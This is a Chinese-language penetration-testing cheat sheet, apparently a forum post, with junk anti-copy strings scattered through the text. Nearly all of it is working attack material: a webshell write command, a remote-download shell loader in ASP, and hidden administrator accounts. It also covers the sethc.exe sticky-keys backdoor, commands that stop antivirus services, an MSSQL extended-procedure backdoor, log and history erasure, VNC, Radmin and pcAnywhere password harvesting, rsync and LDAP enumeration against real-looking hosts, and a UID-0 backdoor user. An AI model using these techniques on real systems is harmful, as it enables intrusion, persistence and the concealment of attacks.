渗透技巧总结

admin

旁站路径问题
1、读网站配置。
7 X( @) p+ x3 o3 I1 j6 y+ ~$ P2、用以下VBS
+ i1 X# X" i6 p0 D* E& COn Error Resume Next
1 c0 F7 T8 z7 B3 e7 |/ qIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
/ ^) T' j; n" E6 t: N. k        
) K& a1 U; t) N4 W0 Y0 g
1 l& _, ]: L( ~7 ?Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
/ R) x5 b$ X- r
1 D+ L: O5 E( F: Q  k& E. eUsage:Cscript vWeb.vbs",4096,"Lilo"
$ L" j9 d- L+ g$ Q        WScript.Quit
End If
Set ObjService=GetObject
$ M) d' i% O0 p5 c$ m
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
& L) I9 x/ h7 L) ^6 ^4 u" k) T        If IsNumeric(obj3w.Name)

Then
* y' h, N# I+ {. c& n+ l9 o                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
* W8 p" J! u4 }$ z2 R5 V         
4 ^7 f  O0 A+ c4 j2 ]- ?
: e8 j, P" |, {3 E$ o       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
' [: g/ v0 e+ b4 x                If Err
7 u2 p* g$ X4 v8 M7 X: ?
<> 0 Then WScript.Quit (1)
3 ]+ |! I/ `$ T) m/ y; R2 W4 r                WScript.Echo Chr(10) & "[" &

4 |% d# E: s+ y1 J+ }& yOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
0 y4 w" h- m+ R5 H$ G( L7 ~     

2 @( D& S' C- Q" F! `$ ]                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

( _) S  K! A6 K1 T, nWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
% l5 @2 v2 k  n; V                Next
( R1 V! d- \9 S/ m* s4 N      

1 g8 ^% Q; x& b3 A' w4 c         WScript.Echo "ath            : " & VDirObj.Path
) |: L) ^! z* y) T' k5 j        End If
5 k1 @* H0 W# k4 N/ dNext
0 H3 g8 e! R6 V/ O复制代码
" \" s% W7 g) I( W  K6 V3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
  s7 N  y& y: D4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
( @$ U4 V$ u# @" P. |$ XWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
: J1 a3 Q, h" \. x; Vphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
& }1 M# g; j, J* G6 H9 ^( Mdata/htdocs.网站/网站/
  f9 m; m& g, _7 i————————————————————
; @' y! v) l% @CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
. ~+ ^/ T6 P$ ]) |1 o3 X9 Wnetsh ras set user administrator deny #禁止administrator拨入该VPN
) y& A6 U. y! G& D6 i1 v; {netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
% p9 n! c: e" |. {2 r9 inetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
2 q2 B- M4 ?" b2 S  w; m命令行下添加SQL用户的方法
- k% k; X. z0 j) W+ M需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

2 u5 ~4 i& d5 h& M1 L8 `另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
: x8 M4 Y' J/ l) Cjs:
var o=new ActiveXObject( "Shell.Users" );
/ R9 q9 A( o; V* J2 E$ b9 Az=o.create("test") ;
; l- y! \$ }2 Q; }z.changePassword("123456","")
. d/ K6 i! k7 d, h5 f. r% gz.setting("AccountType")=3;
, B' Z- d* E7 X, B
vbs:
) b* k+ [, A) k4 ISet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
$ w# R4 t2 B( k: Mz.setting("AccountType")=3
——————————————————
) R5 u7 z/ P/ g8 Tcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
4 s5 t8 R3 a5 L7 X& R+ L
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
# P/ }. z9 X& q3 g' b5 v7 ~' u4 Dcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
% j2 q5 [/ y' M2 I1 W. H3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
$ @3 [. w1 K7 L+ n/ ic、终端服务器超出了最大允许连接
( F/ l3 K  d+ |$ c; \7 d6 ?% |XP 运行mstsc /admin
9 B1 v3 d2 ]$ M) i2003 运行mstsc /console   
0 i8 D& y. B2 ^
& ^6 ]2 \: F! l) E3 M0 N杀软关闭（把杀软所在的文件的所有权限去掉）
% }; k# b: Y# F: |) y) j处理变态诺顿企业版：
$ `  n( ?3 L4 n; |1 \5 Knet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
% z4 \3 `; q( ]& Y& Jnet stop "Symantec Event Manager" /y
  c" c( _: J6 N/ Onet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
) m# b1 [5 P5 l' b
% s# t0 o& y7 D, z) q3 z卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
# \( K. C6 o- w; J  r隐藏账号添加：
: }% ^3 j* A, H0 S% r/ V1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
2 Q& O* S" k3 m/ e! ~0 [3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
  o7 C9 E! Q" W7 B9 v4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
3 k$ m1 F3 {" F" z5 UEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
+ r8 e" l- D6 L9 S7 \% FGRANT exec On xp_helpsystem TO public;
8 t: n( C! a% }4 X) X8 o9 e* V! `———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
4 D5 Z( ]& D5 G' i! a$ D7 M3 x9 s8 s直接删除 ex0111124.log
不成功，“原文件...正在使用”
" T7 I, R7 }% ~! }当然可以直接删除ex011120.log / ex011121.log
' M0 _: T+ R$ U  |: O用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
. t, ?7 `. Y, R- VHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
4 Y, c7 @5 k2 T  f0 k$ Z$ O- t$ rMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

  ~' G) A" r( N* {/ t% eServer\90\Tools\Shell\mru.dat
—————————————————————————
5 {$ P8 S. P1 i- q( R防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
3 f; e. t/ {/ k8 s5 J
7 |4 }* f' J# o4 B( C$ _/ y' t<%
9 Z  }7 i( A4 C$ k! `Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
" h. N/ z1 i. b. B" YWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
# R7 e2 J2 h8 R.Send
GetRemoteData = .ResponseBody
3 u' q. m' A( f( T+ I& r9 TEnd With
Set Retrieval = Nothing
2 q% ?, p7 X% |: tSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
7 ?; E& |& D/ U0 X9 I" q" `+ b.Open
8 w. X( o4 W! W* T/ Q" ^% m.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
0 M% J0 M4 `; y. W.Close()
6 |7 h! I* p: x5 ~9 q$ J7 ^End With
Set Ads=nothing
- W! U* r# y  EEnd Sub
' `2 p/ i4 m+ q1 ~" G
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
+ h! r# H5 u1 F) t/ y; G利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
, o2 J2 X- O% W5 y! z. a$ r6 j注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
" |* W5 T5 ]) S4 A2 D- {  F/ hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
7 k  Q& z  J6 V* O  kHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
9 {, [" r; |7 _9 n; o9 z  n* |! e如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 O. x' s' [0 O" J, c! ?Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
. I- X6 T# m+ U/ D0 ?6 n搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
' a. q6 s" m8 ?2 G: b9 q( u% y- k7i24的web目录也是可写，权限为administrator。

& V; n5 s% r' M3 y1433 SA点构建注入点。
( x$ h# ^! c% p* B<%
5 N! A; `* [% H, v2 {1 j. z: J' IstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
  z0 E: B5 O  ~* k6 fstrSQLDBPassword = "数据库密码"
0 @' f9 r0 p2 \3 G% b/ b* I6 `strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
' A7 V, c1 M% x( G/ h, R; ?% T$ y
: N( g: P# O  U/ GstrSQLDBName & ";"
. u" w% z. F/ w% Rconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
$ O' |# i: T& S6 a! Mid = request("id")
4 c- J; c+ D& X4 J$ YstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
: F5 n9 D& @; X5 Z  Y- G$ I1 A%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 u/ v. T9 p9 y: E7 \# d
& [' ~  h6 ]# h. r9 J2.less /etc/ldap.conf
$ M+ ~3 f5 f( [. f. ]- Ibase ou=People,dc=unix-center,dc=net
  y9 w3 E8 E6 \, t找到ou,dc,dc设置
! Z( P8 j7 x- g+ X- z
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* M5 V1 {% y2 p: i
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
) c/ C3 L* S- X) C( W  X有密码形式
% Z) j1 t7 A; j* B' _' Vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

! f; h' y) T* U9 S8 O& v' Z9 o"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

, M- ~3 @8 J& D. S0 [' q
( o9 ?/ h8 i( _$ m% Y' s; x* c% ^4.查找10条用户记录
6 i! i- C: V7 Tldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 K/ R: e' k8 q. P% s% U
; N8 {& Q, @" `$ f实战:
! [7 W2 F& n# Y% H* J" ~& D( C0 ^1.cat /etc/nsswitch
" G$ f% r" j2 b3 L看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
' D$ V' Z2 O2 w9 x/ ^4 p7 o找到ou,dc,dc设置
( \. `( ?2 c, A. I+ L
! v" G' G/ ?+ i- }0 L4 z' n4 \3.查找管理员信息
匿名方式
  N! j3 i# v% j$ v; yldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! \* _7 w3 b3 D- U/ e
* ]! |5 v  u4 _6 v"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* J% q7 z5 ?8 `3 @; r& o+ L有密码形式
8 _) V* o1 v0 c% _9 p% kldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

0 s5 Q% H5 y1 i" Y& D& V"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

* Q8 m; k1 v* y2 h( h: e. q
4.查找10条用户记录
1 ^3 a3 D+ d# y1 U8 {ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
/ ~/ H" t3 y& h  E8 f9 Y# t, T. Y( D1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
1 W: y6 t: Q, e4 ?  Adn: dc=ruc,dc=edu,dc=cn
1 D; c, {1 s7 Adc: ruc
objectClass: domain
$ i, ?& B* l/ u. A( ]6 K8 C' v
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
; }0 P9 H! g3 N! Y, Q# MobjectClass: person
objectClass: top
, k7 O6 A5 u; s; zsn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
! b% U( x& }) Q/ a7 R3 ~# PobjectClass: person
! ^/ G# [: F1 C) V1 J+ e4 dobjectClass: top
sn: superadmin
7 Y5 K1 B  }) G6 {( y7 o  f/ ]7 Ecn: superadmin
4 @% v" V1 k# j$ z2 w0 x4 \" h
dn: uid=admin,dc=ruc,dc=edu,dc=cn
* C! a6 ]6 k2 b( ]5 zuid: admin
( F3 f% X2 Y- b, o. v, c, a7 `objectClass: inetOrgPerson
objectClass: organizationalPerson
( ]' I7 v- _+ e2 A; ~; PobjectClass: person
# T7 s' E6 R1 i% N) aobjectClass: top
. z# \8 P) l3 Z% c% Nsn: admin
cn: admin
, E, T2 s, ^" S
0 E0 ^( ~1 z: sdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
) F' s. M& O2 I* c* F: sobjectClass: inetOrgPerson
  q4 c( h7 C; j( T! Ssn: dcp_anonymous
# ?1 ]. y2 A* {% ?7 B% K0 ncn: dcp_anonymous

( v2 }6 e: T. E$ W2.查看基类
8 J# [" Z+ j1 H7 A/ ~/ I4 ?bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

* R" C# i  \: v0 R, e& Dmore
( W' x6 @. Q, ]  Yversion: 1
9 o$ {, A4 z3 r% x3 gdn: dc=ruc,dc=edu,dc=cn
; v# r9 G3 C0 B5 ]' ]3 V" A( Edc: ruc
objectClass: domain

. z, {9 x& X: N& ]4 |: d3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
' j+ J) }. v) v3 {. i" rversion: 1
dn:
' J* P3 W$ P! U% C2 a6 KobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
( O- ]1 y3 [3 m; Z0 ]" Z( h7 T& _/ ^supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
" K$ v8 `: f# w& G1 A; Q9 ZsupportedExtension: 2.16.840.1.113730.3.5.3
& E! R1 m9 D1 I/ W. ?( }  wsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
0 f- k( P! J! J7 u8 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
2 u1 ?, ~* k/ P: A4 X4 k0 osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
' j0 X# Q* \7 t0 j  k6 L' LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
7 U' ]! R( u- b' _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
% x$ y" D5 \/ r' Y' {3 P: C3 f" DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
, B7 E% @( n8 H# e4 D' r3 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
8 K' c. x$ N& J7 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
% c# |7 `3 P- x( C  o$ A1 r& |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
* N. T5 G; s0 S  l- d5 P8 a8 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
$ ]) z, \$ T/ f: ?; psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
6 |* m* @5 g+ K$ p4 _* i9 X4 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
5 t$ r7 p, _# b" S) Y+ wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
6 A! m! @$ b! I* S1 h' l- d9 dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
: j0 l2 @2 ]7 E  }supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
. O' r/ w' D" i$ I/ VsupportedControl: 2.16.840.1.113730.3.4.16
% C6 @& M: @8 q( T4 b0 x0 A% SsupportedControl: 2.16.840.1.113730.3.4.15
9 E0 Y* h1 y- h# X* AsupportedControl: 2.16.840.1.113730.3.4.17
* J  O" e, C% Q5 BsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
$ }8 F0 a9 w1 c! c, d# |. u7 vsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
$ I7 l2 \+ D# [1 g8 w' P% h/ l. asupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
+ K; N+ o' }# g6 r6 z" PsupportedControl: 2.16.840.1.113730.3.4.12
; Q. m7 z0 e# B, P7 csupportedControl: 2.16.840.1.113730.3.4.18
1 N3 A# H+ H+ g( z4 F; t% c' NsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
) K/ W7 G9 m1 lsupportedSASLMechanisms: DIGEST-MD5
1 y* Z- |& p& m( T, q+ z; |supportedLDAPVersion: 2
supportedLDAPVersion: 3
2 H3 r  k! T4 @) a! h/ O8 O( SvendorName: Sun Microsystems, Inc.
& ^1 ?' f- A5 h; dvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
" T. b* D3 Z- `: ssupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
, y" u0 R# V* f0 Z& UsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
; a9 S$ ]4 N4 T) L" s+ W# h) U7 k5 ^/ R) VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
% {# i& S0 ]7 R! i1 W( VsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
; r, z. z$ ~8 QsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
+ p+ \& y" i$ d6 `- ~; j! W2 y& ^supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
* D) O8 r/ A+ G2 Q. b7 SsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- \4 D8 `, ]0 S, R/ jsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
! v* k% H6 g+ W! H7 h4 osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
6 _% o& b  `5 Z% U" bsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
6 W% }+ ~7 K4 D1 bsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
% m* h( B1 @5 P4 N4 r$ V$ B9 L) RsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
! [  T- `+ t7 |, `- wsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
# }5 p) `) U5 g: k* ^& ], N; lsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
( W2 P2 {' W$ {" l- B2 J4 _supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
% D+ Z; k. T- D6 ]% HsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
. m3 L+ A  \/ |: esupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
8 C- Q4 p; j/ x0 j) D# z. XsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
, L9 o  s/ Y; nsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
( ]; |) B2 D& ^' {# _  ]supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
$ ~5 ^/ d0 K2 M( i0 ~) S) QsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
4 Q( c. n# E# E( W+ v+ ysupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
' h/ P# f& [# r# YsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
列举IP
% l/ S5 v) w; p& U. @——————
5 y/ Y  X6 r* o/ |7 F: `* d" u$ {3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
img_auto
9 S! d2 z- h' w1 b% G  Hhtml_cms
img_cms
ent_cms
9 C) s/ I0 M3 r  Vent_img
ceshi
res_img
: o$ l* o2 I* V% I6 wres_img_c2
% Y1 W1 E9 o5 ?+ I2 kchip
chip_c2
ent_icms
games
gamesimg
& g$ D! |  _9 @5 L7 k" L4 ~, ~, ?media
8 K8 j% U  }) q! T& D& Ymediaimg
) X4 E- l) Y: r6 c0 lfashion
) w! j0 q# c" a1 d) sres-fashion
res-fo
taobao-home
! N  u3 L' e# v% Z/ t) r8 Xres-taobao-home
house
res-house
res-home
res-edu
res-ent
5 T6 B+ P( v5 b% y# f% D4 ?; }res-labs
( c2 j  n: m- l1 rres-news
res-phtv
( t6 `$ Y* F% r# }res-media
3 h2 {# b) P8 ^5 d% b( nhome
edu
- C" [$ a$ w0 x) Ynews
res-book
) o# X' T4 D) ]+ h, z3 W
7 j0 b( o+ K- s/ O5 m看相应的下级目录(注意一定要在目录后面添加上/)
- N/ n. C3 F! i, W8 H" c- e) _

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
5 `1 m& E# r/ n7 T4 @2 l$ Irsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
/ x+ M! L4 _& h3 E$ }rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

! r* [' ~. E/ M9 V1 _+ h  w3.向上更新rsync文件(成功上传,不会覆盖)
0 n" n8 W$ {! ~6 b9 Orsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
8 ]# e: s7 \3 _& ihttp://app.finance.xxx.com/warn/nothack.txt

# Q+ ^1 ^, n0 x( X' {" [四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
4 H1 K" A) C& |
+ h& O* f  D8 z; ?+ K6 X六.joomla渗透小技巧
确定版本
  k5 v/ X5 y( R) C3 oindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
7 F+ f( l; I9 J- y0 }7 [
1 S# e$ Z* J4 i3 X+ ~0 [# X15&catid=32:languages&Itemid=47
; }! }: F0 O* q; ?
4 ]" [9 V6 [9 y- r重新设置密码
! C& I. R4 h" W% Findex.php?option=com_user&view=reset&layout=confirm
  W6 }7 m; r, B# U- B7 r
, ?( u/ |5 m* @% t七: Linux添加UID为0的root用户
/ G& f4 b8 d  D! w3 Ruseradd -o -u 0 nothack
+ L2 l8 g) n/ X% l- G% z8 z" y. D2 ^
; \7 Q2 E- w4 y八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
& r% ?6 ~0 q0 a! E0 j* [argp@julius ~]$ sysctl vfs.usermount
" T* Y/ M3 m( D0 m. ]0 l* vfs.usermount: 1
0 ?9 B$ q" \9 x* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
